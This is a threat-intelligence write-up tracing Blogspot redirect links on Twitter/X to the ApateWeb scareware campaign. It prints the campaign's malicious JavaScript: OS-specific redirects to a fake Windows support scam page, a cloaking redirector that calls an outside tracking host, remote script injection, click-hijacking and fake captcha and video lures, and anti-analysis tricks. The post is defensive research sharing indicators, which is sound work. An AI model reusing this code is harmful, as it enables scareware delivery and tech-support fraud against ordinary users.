Tracking a Malicious Blogspot Redirection Campaign to ApateWeb

Tracking a Malicious Blogspot Redirection Campaign to ApateWeb

Tracking a Malicious Blogspot Redirection Campaign to ApateWeb

Including tips and tricks on how to (safely) conduct investigations of your own.

Browsing Twitter/X, I stumbled across something I’ve been seeing a lot of in the past two years: a suspicious Blogspot link. These have been weaponized to cater to the audience of specific posts, showing a preview that is usually related to the topic at hand, then redirecting to a plethora of different sites based on the specific campaign.

I’ve seen ad fraud, pornware, abuse of referral campaigns, Captcha solvers, phishing pages, and straight-up malware being served from different instances of these redirectors. What’s dangerous about them is that to a non-cyber individual, who wouldn’t know to be suspicious of a Blogspot link, they appear to be pretty legitimate due to the use of social media meta tags that make the link preview look like a normal site would.

Instead of just adding the links to one of my generic OTX or VirusTotal collections, I decided to create a dedicated OTX group for this instance and this accompanying article for others looking to break into the space.

Beginning the Investigation

Protect Yourself

The first step in any investigation is to work to obfuscate your identity. The way I do this is through Proton VPN, which does a good job of hiding your real IP address from the bad actors.

Following Redirects

Whenever I am analyzing a link from a social media site like Twitter/X, I immediately put it in WhereGoes. This is because a lot of them use their own URL shorteners to track engagement, and this site will turn the shortened social URL into the actual site it originally pointed to.

Doing this on the site (see for yourself) got me the original Blogspot link of https://bettylinking.blogspot[.]com/2025/01/tyga[.]html, which I used to further analyze the possible payloads we would encounter. I first do this by opening an Incognito browser window and visiting the URL, just to confirm our suspicions. Doing so yielded the Windows phishing site at the top of the article, confirming that this is a legitimate redirector.

Dissecting the Windows Phishing Site

The initial URL I was given is https://wess1-secondary.z8.web.core.windows[.]net/werrx01USAHTML/?bcda=1-866-961-8886; I tried to snapshot this with the Wayback Machine, but the site encountered an error, and by the time I returned later to take another one the site was already down.

Figure 1. One instance of a URL that the blog redirects to, upon visiting the link.

Figure 1. One instance of a URL that the blog redirects to, upon visiting the link.

There is a lot to digest here, but I like to start from the top before analyzing the page being served to the end user. Upon visiting the root domain wess1-secondary.z8.web.core.windows[.]net, you are greeted with a blank page titled “Detection.” Inspecting the code shows that there is only one very basic script tag in the head of the document, containing the following:

function getQueryParam(param) {
   const urlParams = new URLSearchParams(window.location.search);
   return urlParams.get(param);
}
function checkosSystemForScna() {
   const userAgent = navigator.userAgent;
   let os = "Unknown";
   if (userAgent.indexOf("Win") !== -1) {
       os = "Windows";
   }else if (userAgent.indexOf("iPhone") !== -1) {
       os = "iOS";
   }else if (userAgent.indexOf("Mac") !== -1) {
       os = "MacOS";
   } else if (userAgent.indexOf("Android") !== -1) {
       os = "Android";
   } else if (userAgent.indexOf("Linux") !== -1) {
       os = "Linux";
   }
   return os;
}
let operatingSystem = checkosSystemForScna();
localStorage.setItem('alpha',getQueryParam('alpha'));
if(operatingSystem === 'MacOS'){
   window.location.href="merrx01usahtml/?bcda="+getQueryParam('bcda').trim();
}else if(operatingSystem === 'Android') {
   window.location.href="andx01UShTml/?bcda="+getQueryParam('bcda').trim();
}else if(operatingSystem === 'iOS') {
   window.location.href="ioxs01uShYMl/?bcda="+getQueryParam('bcda').trim();
}else{
   window.location.href="werrx01USAHTML/?bcda="+getQueryParam('bcda').trim();
}

This is to direct the visitor to a page spoofing a real website pertaining to the specific operating system they are on, to add an element of realism. If you are on an iPhone and saw a Windows Support page saying you’ve been hacked, even the least technically literate individuals will likely be suspicious.

The URL does not redirect immediately because the bad actors did not anticipate anybody visiting the root URL, there is an error in the console because they assumed that the URL parameter would always be set:

Uncaught TypeError: Cannot read properties of null (reading 'trim')

The bcda parameter is intended to be the “support” phone number displayed on the page, which clearly indicates that they’ve run this campaign multiple times and have had to rapidly switch phone numbers. I’m willing to bet that the number being used, 1-866-961-8886, is virtual, so they can more easily acquire new ones when some are burnt and flagged as spam.

The thing that bothers me most about this is that there appears to be widespread abuse of subdomains on windows[.]net, even though the domain is 29 years old and is actually owned by Microsoft. Some digging indicated that this is accomplished via abuse of Azure blob storage, allowing the attackers to piggyback off the high reputation of Microsoft and pass through spam filters.

Looking back at the main Windows URL, we can see that they use a very simple embedded API call to get the user’s information on the page, allowing them to appear more legitimate and convincing:

var t = new XMLHttpRequest;
t.onreadystatechange = function () {
if (4 == this.readyState && 200 == this.status) {
 var a = JSON.parse(this.responseText);
 ipadd = a.ip;
 city = a.city;
 country = a.country;
 isp = a.connection.isp;
 var b = new Date;
 currtime = a.timezone.current_time;
 document.getElementById("ip_add").textContent = "Address IP: " + ipadd + " " + b.toLocaleString("EN-US", currtime);
 document.getElementById("city").textContent = "City: " + city + ", " + country;
 document.getElementById("isp").textContent = "ISP: " + isp
}
};
t.open("GET", "https://ipwho.is/?lang=en", !0);
t.send();

There is nothing else interesting about the site, it is just convincing enough to fool the low-hanging fruit and scam those individuals out of some money via a phone call.

Finding the Malicious Code

We can take advantage of the command line tool wget to get the contents of the Blogspot page before the browser would normally redirect you:

$ wget --max-redirect=0 https://bettylinking.blogspot.com/2025/01/tyga.html
$ nano tyga.html

This yields us the following snippet, which is the code behind the redirects:

Figure 2. Very simple JavaScript redirector code, embedded on the site. Full code here.

Figure 2. Very simple JavaScript redirector code, embedded on the site. Full code here.

That gives us the root domain the bad actors are using for their redirects, they are passed to that backend which then validates a legitimate key, then proceeds to redirect the user to a destination of their choosing.

Deeper Analysis

Normally I’d suspect that XSS was behind something like this, but the blog’s author is not the victim in this case, they are the attacker. According to the BlogSpot application/ld+json script on the page, their site name is “Football xtra” and they have been doing this since (on this account) since July 2024:

Figure 3. Profile for the Blogger, available here.

Figure 3. Profile for the Blogger, available here.

We can also see that their supposed X account username is Kellygranddy. Warning: That user has posted lots of pornographic content, viewer discretion is advised.

Visiting the link in the account’s bio (freevidros.blogspot[.]com) and the link in their top post (https://xyleney.blogspot[.]com/2024/08/xylene.html) takes us back to the control site altitudehighjackhonorary[.]com, so it’s time we analyze that further.

altitudehighjackhonorary[.]com

Another redirect we got is to https://altitudehighjackhonorary[.]com/jwcwub6p?key=9dbaeb330c535e09497e34853b004e28, but visiting it with our VPN on won’t show us what the intended content is:

Figure 4. They have proxy detection, which you don’t see every day!

Figure 4. They have proxy detection, which you don’t see every day!

Turning off the VPN and running a wget query like above allowed me to see the page’s content (full code here):

<html>
<head>
  <meta charset="utf-8" />
</head>
<body>
  <script type="text/javascript">
    (function (d, w, h) {
      var reverseUrl = '//' + location.host + '/api/users?token=L2p3Y3d1YjZwP2tleT1hOTY5Y2E1YzlhZDI2MTE3NjJmMTFiNzlhNTI2ZTJkMiZzdWJtZXRyaWM9MjMzODI4MTQ';
      h.pushState(null, document.title, reverseUrl);
      h.pushState(null, document.title, reverseUrl);
    })(document, window, history);
  </script>
  <form action="/api/users" method="get" id="submit-form">
    <input type="hidden" name="pii" value="" />
    <input type="hidden" name="in" value="" />
    <input type="hidden" name="token" value="L2p3Y3d1YjZwP2tleT05ZGJhZWIzMzBjNTM1ZTA5NDk3ZTM0ODUzYjAwNGUyOCZwc3Q9MTczNjgwMDI4OSZybXRjPXQmc2h1PWUwMWMyMzQ4OGJmZmVjNGQ2MmIzMDEzMjdjOTJjMWY3YWRjOTEwY2FhMmYyZjBhMDBiM2FmNjcxNDA2ZGMzZjkxYjMzMWQ2YWJlNWI1ZTZkN2U3NzEzMzdjM2EyNjkzMDg4N2E0NTgzZTU4NDMyNGI3ZWFjZDE1M2VlZGZhYmM0OThkMTZmNjVjY2M0NzJmOWMxZTQ5YWVmZDJmZjIzMDM0ZGM0NjMyM2M1NGZhNGQ3ZWJhM2Ix" />
    <input type="hidden" name="uuid" value="" />
  </form>
  <script type="text/javascript">
    try {
      if (window.opener != null) {
        if (window.opener.opener != null) {
          window.opener.opener = null;
        }
        window.opener = null;
      }
      if (parent.window.opener != null) {
        parent.window.opener = null;
      }
    } catch (e) {}
    function now() {
      try {
        return Date.now();
      } catch (e) {
        return (new Date()).getTime();
      }
    }
    function set(name, value) { document.forms[0]["" + name].value = value; }
    function submit(incognito) {
      set("in", incognito);
      document.forms[0].submit();
    }
    function redirect() { submit("false"); }
    var cookieName = "uid_id2=";
    var date = new Date(now() + 15 * 1000),
      cookies = document.cookie,
      start = cookies.indexOf(cookieName),
      isPopunder = true;
    document.cookie = "cjs=t; path=/; expires=" + date.toUTCString();
    isPopunder && window !== top && set("pii", "true");
    if (start === 0 || (start > 0 && (cookies.charAt(start - 1) === ';' || cookies.charAt(start - 1) === ' '))) {
      var finish = cookies.indexOf(';', start);
      set("uuid", cookies.substring(start + cookieName.length, finish === -1 ? void 0 : finish));
      redirect();
    } else {
      try {
        var request = new XMLHttpRequest(),
          timeout = setTimeout(function () { request.abort(); }, 50);
        request.withCredentials = true;
        request.open("GET", "https://proftrafficcounter.com/stats");
        request.onload = function () {
          clearTimeout(timeout);
          set("uuid", request.responseText);
          redirect();
        };
        request.onerror = request.onabort = redirect;
        request.send();
      } catch (e) {
        redirect();
      }
    }
  </script>
</body>
</html>

Right away, we see an interesting URL path that’s worth investigating:

https://altitudehighjackhonorary[.]com/api/users?token=L2p3Y3d1YjZwP2tleT1hOTY5Y2E1YzlhZDI2MTE3NjJmMTFiNzlhNTI2ZTJkMiZzdWJtZXRyaWM9MjMzODI4MTQ

Decoding that token as Base64 (using CyberChef) gives us a URL path:

/jwcwub6p?key=a969ca5c9ad2611762f11b79a526e2d2&amp;submetric=23382814

We can also decode the form’s token field as Base64 and get another path:

/jwcwub6p?key=9dbaeb330c535e09497e34853b004e28&amp;pst=1736800289&amp;rmtc=t&amp;shu=e01c23488bffec4d62b301327c92c1f7adc910caa2f2f0a00b3af671406dc3f91b331d6abe5b5e6d7e771337c3a26930887a4583e584324b7eacd153eedfabc498d16f65ccc472f9c1e49aefd2ff23034dc46323c54fa4d7eba3b1`

Then it checks if a cookie has already been set. If it has, the UUID in the form is set to a subset of the cookie’s value and the page redirects. If it has not, a UUID is fetched from https://proftrafficcounter[.]com/stats, which seems to be the parent controlling the campaign. Based on the UUID, the server likely returns a destination URL and conducts the redirect on the backend.

If you’re curious, an example of the returned UUID is f65f204d-1b71-4a10-8071-e0f05f0bede4:1:1.

Researching the URL on VirusTotal tells us that ArcSight Threat Intelligence identified the IOC as a key part of “ApateWeb”, and led me to a great article on the topic:

Unit 42 - ApateWeb: An Evasive Large-Scale Scareware and PUP Delivery Campaign

So it appears we have found a still-active site as part of the ApateWeb campaign, which “uses a network of over 130,000 domains to deliver scareware, potentially unwanted programs (PUPs) and other scam pages.”

Further IOC Exploration

Since we now have the control domain, we can take advantage of Validin to identify queryable behaviors to fingerprint and search on. First we can search the domain altitudehighjackhonorary[.]com, and the “Host Connections” page shows us some other domains of interest:

Figure 5. This is a subset of the available data.

Figure 5. This is a subset of the available data.

The JS_LINKS functionality offered by Validin is an incredibly unique way to pivot, and is something I have yet to see offered by any other tools on the market. Checking out the first one, javforclass.pages[.]dev, shows us some very similar redirector code:

<!DOCTYPE html>
<html>
<head>
   <title>Watch Jav............</title>
   <meta charset="UTF-8">
   <meta name="viewport" content="width=device-width, initial-scale=1.0">
   <link rel="preconnect" href="https://fonts.googleapis.com">
   <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
   <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" onload="this.onload=null;this.rel='stylesheet'">
   <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css" onload="this.onload=null;this.rel='stylesheet'">
   <link rel="stylesheet" href="https://chcat.xyz/assets/css/styles.css" onload="this.onload=null;this.rel='stylesheet'">
   <link href='https://fonts.googleapis.com/css?family=Nunito' rel='stylesheet'>
   <noscript>
       <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
       <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css">
       <link rel="stylesheet" href="https://chcat.xyz/assets/css/styles.css">
   </noscript>
</head>
<body>
<div id="ads1">
 <center><script type="text/javascript">
atOptions = {
 'key' : 'fc86bb79d711de2867bb24722e44025f',
 'format' : 'iframe',
 'height' : 250,
 'width' : 300,
 'params' : {}
};
</script>
<script type="text/javascript" src="//altitudehighjackhonorary.com/fc86bb79d711de2867bb24722e44025f/invoke.js"></script>
</center>
</div>
<div id="ads2">
 <center><script type="text/javascript">
atOptions = {
 'key' : 'fc86bb79d711de2867bb24722e44025f',
 'format' : 'iframe',
 'height' : 250,
 'width' : 300,
 'params' : {}
};
</script>
<script type="text/javascript" src="//altitudehighjackhonorary.com/fc86bb79d711de2867bb24722e44025f/invoke.js"></script>
 </center>
</div>
<div id="ads3">
 <center>
 <script type="text/javascript">
atOptions = {
 'key' : 'fc86bb79d711de2867bb24722e44025f',
 'format' : 'iframe',
 'height' : 250,
 'width' : 300,
 'params' : {}
};
</script>
<script type="text/javascript" src="//altitudehighjackhonorary.com/fc86bb79d711de2867bb24722e44025f/invoke.js"></script>
</center>
 <div id="ads4"></div>
 <div id="ads5"></div>
 <div id="ads6"></div>
 <div id="footer"></div>
</div>
   <script>
       var currentUrl = window.location.href; // URL saat ini
       var baseUrl = window.location.origin; // URL dasar
       var searchParams = new URLSearchParams(window.location.search); // Objek untuk parameter query
       var ttl = encodeURIComponent(baseUrl);
       var ndate = new Date();
       var gtime = ndate.getTime();
       var ujs;
       if (!currentUrl.includes('?home') && !currentUrl.includes('?blog')) {
         // Jika URL adalah halaman utama tanpa query atau hanya "/" atau kosong
         ujs = 'https://chcat.xyz/taipuki.js?source=' + currentUrl;
       } else if (currentUrl.includes('?home')) {
         // Jika URL memiliki parameter ?home
         ujs = 'https://chcat.xyz/taipuki.js?source=' + currentUrl;
       } else if (currentUrl.includes('?blog')) {
         // Jika URL mengandung substring '?blog'
         ttl = encodeURIComponent('{{base_url}}'); // Menggunakan judul blog
         ujs = 'https://chcat.xyz/taipuki.js?source=' + currentUrl;
       }
       if (ujs) {
         var script = document.createElement('script');
         script.src = ujs;
         script.async = true;
         document.head.appendChild(script);
       }
       document.getElementsByTagName('title')[0].remove();
       function goToPage(event) {
           event.preventDefault();
           const pageNumber = document.getElementById('pageInput').value;
           if (pageNumber) {
               window.location.href = `${baseUrl}page/${pageNumber}`;
           }
       }
     </script>
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.bundle.min.js" defer></script>
<!-- Histats.com  START  (aync)-->
  <!-- Histats.com  START  (aync)-->
<script type="text/javascript">var _Hasync= _Hasync|| [];
_Hasync.push(['Histats.start', '1,4919573,4,0,0,0,00010000']);
_Hasync.push(['Histats.fasi', '1']);
_Hasync.push(['Histats.track_hits', '']);
(function() {
var hs = document.createElement('script'); hs.type = 'text/javascript'; hs.async = true;
hs.src = ('//s10.histats.com/js15_as.js');
(document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(hs);
})();</script>
<noscript><a href="/" target="_blank"><img  src="//sstatic1.histats.com/0.gif?4919573&101" alt="" border="0"></a></noscript>
<!-- Histats.com  END  -->
</body>
</html>

We can see several references to our shady domain, so all the results with matching JS links are likely legitimately of interest. I checked out Histats and that appeared to be legitimate, so that is not a concern at this time.

The one that most caught my attention is to invoke.js, which VirusTotal flagged as malware. Looking at the file itself indicates obfuscation:

Figure 6. You can tell by the many occurrences of encodeURIComponent and sequences like ‘\x22’. While not inherently indicative of malicious behavior, they’re a good indicator of nefarious obfuscation.

Figure 6. You can tell by the many occurrences of encodeURIComponent and sequences like ‘\x22’. While not inherently indicative of malicious behavior, they’re a good indicator of nefarious obfuscation.

The full file can be viewed in my Gist here. I was able to pull out some other important IOCs related to this ApateWeb, including:

  • unusuallypilgrim[.]com
  • peanutrefusesplit[.]com
  • proftrafficcounter[.]com - identified by Unit 42 as an IOC belonging to the previous ApateWeb campaign

Other sites had similar control domains embedded in them, none of which were previously reported on the internet and not used or detected at the time of the Unit 42 article:

  • specificallycries[.]com
  • stereospoutfireextinguisher[.]com

All of these control IOCs have been included in an OTX Pulse related to sites that have been infected or are used for control.

Identifying Redirect Targets

An important, often-missed step is collecting the different sites that these campaigns can redirect to. Most analysts are only concerned about stopping the source, but this is short-sighted.

If we can determine all the sites involved and the affiliate codes they are using, we can mass report to the sites involved and let them know that they’re not getting a good return on their investment, since the traffic they’re paying for is artificial. This cuts off their funding, which in turn greatly reduces the effectiveness of their operations.

To help assist this process, rather than manually navigating to the link hundreds of times, I built this tool:

GitHub - meese-enterprises/redirect-tracker: Track redirect campaign destinations automatically.

One issue I ran into when automating the redirect tracking process is that the master site would randomly return a blank HTML document:

<html><head></head><body></body></html>

After playing around with the tool setup, I determined that this is due to detection of scrapers based on user agent. After I included user agent randomization in the features, we were off to the races, and I collected hundreds of additional IOCs related to the campaign:

Figure 7. A small snapshot of the redirection chains observed.

Figure 7. A small snapshot of the redirection chains observed.

These were all added to a separate OTX collection for redirector destinations, so as to not confuse them with the controller sites.

The collection was sanitized down to no more than ~25 URLs for most unique domains, because there were thousands of nearly identical results for domains like detoolmobs[.]com. A fair sample size can be useful to determine patterns, but anything of that size is just going to artificially inflate numbers, so the largely identical results were removed.

Additional TTPs Identified

I configured the above redirection chain tool to download a unique sample from every domain observed, so I could get a baseline for the types of behavior that they engage in.

Hiding Behind Clicks

If you visited the site besafenet[.]com or several other similar sites, you’d be presented with a simple button, claiming to offer you a free VPN. The actual HTML shows that the redirection is hidden behind clicking that button:

<html lang="en-US" class="mdl-js"><head><base href="landers/vpn26/index.php">
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>Free VPN - Stay Private, Stay Secure</title>
    <link href="style.css" rel="stylesheet" type="text/css">
    <meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<div class="wrapper">
    <div class="img">
    <img alt="" src="./encrypted.png">
    </div>

    <div class="notice">
        <div class="notice-banner">Enhance Your Privacy - Download the Free VPN App from the AppStore</div>
    </div>


    <div class="text">Keep your identity private with our <span class="main">FREE</span> VPN App</div>
    <div class="list-block">
        <div class="list-block__text">To ensure your privacy, please do the following:</div>
        <ul class="list">
            <li class="list__item">1. Download the VPN app from the App Store</li>
            <li class="list__item">2. Launch the App</li>
            <li class="list__item">3. Activate it whenever you need to alter your IP address  </li>
        </ul>
    </div>
    <div class="button">
        <div class="button__text">DOWNLOAD TODAY</div>
    </div>
</div>
<script>
    let clickURL = '/cty2l3k.php?lp=1&uclick=duj6b4e8';

    if (top !== window) {
        top.location.href = window.location.href;
    }

    function go_click(e) {
        window.onbeforeunload = null;
        top.location.href = clickURL;
        e.preventDefault();
        return false;
    }

    document.body.addEventListener('click', go_click);
</script>



</body></html>

https://gist.github.com/ajmeese7/2424e746ca79f61a4c0f4d69be8c4be4#file-bestsafenet-com-html

In this case, I analyzed the hidden endpoint further and ended up getting a whole additional trail of IOCs to add to our collection that would have otherwise been missed. Trying to gather that specific endpoint failed, indicating that the redirection takes place on the PHP backend with a 301 redirect:

$ wget --max-redirect=0 "https://besafenet.com/cty2l3k.php?lp=1&uclick=duj6b4e8"
--2025-01-15 17:54:09--  https://besafenet.com/cty2l3k.php?lp=1&uclick=duj6b4e8
Resolving besafenet.com (besafenet.com)... 92.205.55.212, 2a00:1169:103:cb10::
Connecting to besafenet.com (besafenet.com)|92.205.55.212|:443... connected.
ERROR: cannot verify besafenet.com's certificate, issued by ‘CN=webslave.ispgateway.de,O=ispgateway,L=Ismaing,ST=Bavaria,C=DE’:
 Self-signed certificate encountered.
   ERROR: certificate common name ‘webslave.ispgateway.de’ doesn't match requested host name ‘besafenet.com’.
To connect to besafenet.com insecurely, use `--no-check-certificate'.

$ wget --max-redirect=0 "https://besafenet.com/cty2l3k.php?lp=1&uclick=duj6b4e8" --no-check-certificate
--2025-01-15 17:54:45--  https://besafenet.com/cty2l3k.php?lp=1&uclick=duj6b4e8
Resolving besafenet.com (besafenet.com)... 92.205.55.212, 2a00:1169:103:cb10::
Connecting to besafenet.com (besafenet.com)|92.205.55.212|:443... connected.
WARNING: cannot verify besafenet.com's certificate, issued by ‘CN=webslave.ispgateway.de,O=ispgateway,L=Ismaing,ST=Bavaria,C=DE’:
 Self-signed certificate encountered.
   WARNING: certificate common name ‘webslave.ispgateway.de’ doesn't match requested host name ‘besafenet.com’.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://www.srilankaolympic.org/superbahis.php?lp=1&uclick=duj6b4e8 [following]
0 redirections exceeded.

Inline Images

To prevent fingerprinting their images via a hash algorithm, several sites used techniques like so:

<img width="350" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgA.....

While this is certainly not indicative of malicious activity by itself, since there are legitimate reasons for inline image data, it is when the site looks like this:

Figure 8. That Captcha is not a real Captcha…

Figure 8. That Captcha is not a real Captcha…

We can see what is taking place behind the scenes on this specific page, which is again very basic redirection techniques that require user interaction, intended to prevent automated scraping of their payload URLs (view on GitHub here):

<script type="text/javascript">
   tracker_url='/';
   function lp_update_token(token,value)
   {
       var o = document.createElement("img");
       o.src=tracker_url+'click.php?lp=data_upd&'+token+'='+value;
   }
</script>
       <script type="text/javascript">
           tracker_url='/';
           function lp_update_token(token,value)
           {
               var o = document.createElement("img");
               o.src=tracker_url+'click.php?lp=data_upd&'+token+'='+value;
           }
       </script>
   </head>

Fake Videos

Some sites have a fake loader, followed by what appears to be a failed video player, that prompts the user to download malicious software in order to watch the video:

Figure 9. This is not the real YouTube…

Figure 9. This is not the real YouTube…

The code (available on GitHub here) is simply a link that redirects you if you click anywhere on the page:

<a href="https://bigvpntrk.com/click?lp=1" style="position: fixed; top: 0; left: 0; right: 0; bottom: 0; z-index: 9999"></a>
<section class="player">
   <div class="wrapper">
       <img src="face.svg">
       <p>This video might not be available in your country. Install the <b>VPN App</b> to watch the video in the safe mode.</p>
       <button>Install</button>
   </div>

Internationalization

To widen the net of possible targets that could end up on the site, we see a lot of cases where the user’s country is detected from their browser, and the message is translated into their native tongue to make them more likely to click on the malicious link:

var translation = {
   source: {
     a1: "Attention",
     a2: `Attention`,
     a3: `VPN App Is recommended. Continue watching in safe mode`,
     a4: `Install`,
     a5: `Details`


   },
   en: {
     a1: "Attention",
     a2: `Attention`,
     a3: `VPN App Is recommended. Continue watching in safe mode`,
     a4: `Install`,
     a5: `Details`


   },
   hi: {
     a1: "ध्यान दें",
     a2: `ध्यान`,
     a3: `वीपीएन ऐप को सुरक्षित मोड में देखना जारी रखने की सिफारिश की गई है`,
     a4: `इंस्टॉल`,
     a5: `विवरण`
   },
   fr: {
     a1: "Attention",
     a2: "Attention",
     a3: "L'application VPN est recommandée pour continuer à regarder en mode sans échec",
     a4: "Installer",
     a5: "Détails"
   },

Disabling Repeated Visits

To deter analysis from entry-level cyber professionals, some of these sites have very basic analysis prevention, enabled by redirecting if an item in localStorage has already been set for that site in the browser (full code here):

<script type="text/javascript">
function isEmpty() {
   var top = document.getElementById("main_div");


   if (localStorage.getItem('aaa') === '2345') {
       changeFavicon('http://www.google.com/favicon.ico');
       document.body.style.background = "#FFFFFF";
       document.title = 'Google';
       top.style.display = "none";
       return true
   }
   document.body.style.background = "white";
   top.style.display = "inline";
   return false
}
</script>
<script type="text/javascript">
   function goto(){
       console.warn('2')
       if (isEmpty() === false) {
           console.warn('3')
          window.location.replace("https://powrlockvpn.com/click.php?lp=1");
           changeFavicon('http://www.google.com/favicon.ico');
           localStorage.setItem('aaa', '2345')
           isEmpty()
       }
   }
</script>
<script type="text/javascript">
   if (isEmpty() === true) {
       changeFavicon('https://www.tiktok.com/favicon.ico');
       document.title = 'TikTok for Business';
       window.location.replace("https://ads.tiktok.com/");
   }
</script>

Heavy Obfuscation

Two instances of heavy JS obfuscation were observed, [cover_v15.js](https://gist.github.com/ajmeese7/2424e746ca79f61a4c0f4d69be8c4be4#file-cover_v15-js) and cover_v3.js. Both referenced the site jsjiami[.]com, which appears to be an encryptor that hides the true nature of what any given JavaScript code is for:

Figure 10. Users can specify different versions of the algorithm to use, as well as lots of other options.

Figure 10. Users can specify different versions of the algorithm to use, as well as lots of other options.

Deobfuscating these particular samples is outside the scope of this initial investigation, but I have a feeling that I’ll be releasing additional tooling to address this in the future, similar to my fork of a Batch Deobfuscator tool:

GitHub - TargetPackage/batch_deobfuscator: Deobfuscate batch scripts obfuscated using string…

Infrastructure Hunting

Let’s take the findings from the analysis above, plus findings from previous write-ups, to identify features that allow us to track and identify related infrastructure. We’ll break this down by the stages identified by the analysis above.

Infrastructure hunting: altitudehighjackhonorary[.]com

As we saw above, the domain altitudehighjackhonorary[.]com was used for backend redirection and employed various techniques for detecting VPN usage and redirecting visitors to other domains. We’ll use Validin to learn more about how it’s hosted and how it behaves, then identify similar domains based on those findings.

As noted above, this domain is used for redirection and makes decisions about when and how to redirect users. The examples above always used requests containing paths and URL parameters, but when Validin crawls domains, only root paths are requested (“/”). For altitudehighjackhonorary[.]com and other redirection domains, we observe a very specific behavior in Validin: the domains are redirected to https://google[.]com.

Figure 11. Validin search result showing redirection to Google and the resulting BANNER_0_HASH this behavior creates.

Figure 11. Validin search result showing redirection to Google and the resulting BANNER_0_HASH this behavior creates.

We can pivot from the BANNER_0_HASH, which captures the unique response banner, to find other domains that have identical responses. There are so many (including subdomains) that we have to break the search into smaller time windows. We find that this banner hash is used exclusively by IP ranges used in the original reporting by Unit 42 (AS 39572 - “ADVANCEDHOSTERS-AS” and AS 7979 - “SERVERS-COM”), with 11 IPs total.

Figure 12. Pivoting on the BANNER_0_HASH to find domains and IPs with identical HTTP banner patterns.

Figure 12. Pivoting on the BANNER_0_HASH to find domains and IPs with identical HTTP banner patterns.

Looking back 30 days, we found 9501 domains employing this redirect behavior hosted on these IP addresses. Those domains are included in this OTX Pulse.

Finding “empty OK” domains

The original Unit 42 report noted an evasion tactic of returning “empty OK” to security crawlers to protect the domains from being blocked. This is a tactic that can be detected at scale by leveraging HTTP body hash fingerprinting for that specific message.

We see that the domain hoanoola[.]net from the original report still returns “empty OK” in the body, so we can use that body hash and the host response headers to pivot to other domains in Validin’s data that behave the same way.

Figure 13. The text “empty OK” as the response to a reported ApateWeb domain.

Figure 13. The text “empty OK” as the response to a reported ApateWeb domain.

Pivoting by this host response hash, we found thousands of domains with similar naming patterns, virtually all registered with URL Solutions, Inc. Some of the domains are associated with various malware families, mostly from one-off reporting of individual malware payloads facilitated by these domains.

Figure 14. Pivoting off of the HTTP response hash to find similarly-configured domain names. Note the registrar is URL Solutions, Inc.

Figure 14. Pivoting off of the HTTP response hash to find similarly-configured domain names. Note the registrar is URL Solutions, Inc.

Breaking this search into smaller observation windows, we’re able to identify thousands of domains leveraging this tactic across a small handful of ASNs, including: AS 20940, AS 9002, AS 13335, AS 35415, and AS 16509. Spot checking these domains reveals that many domains pull JavaScript from the domains returning “empty OK” responses. The JS_LINKS-HOST connection in Validin indicates hosts (on the right) that load JavaScript from the domain.

Figure 15. Domains loading JavaScript from groostaupy[.]net.

Figure 15. Domains loading JavaScript from groostaupy[.]net.

All the domains matching the criteria identified for the “empty OK” were added to this OTX collection.

Conclusion

I hope you found this article informative! To recap, we pivoted from a simple malicious Blogspot redirector, analyzed identified IOCs, and determined that we rediscovered an active section of the ApateWeb campaign that was identified over a year ago.

Ready to level up your threat hunting, threat attribution, and incident response efforts? Validin’s premium individual and enterprise solutions offer powerful tools, affordable pricing, and unparalleled insights to help your team work smarter and faster.

Contact us today to explore enterprise options and see how Validin can empower your threat intelligence team.

Indicators and References

Eliminate blind spots with comprehensive DNS history.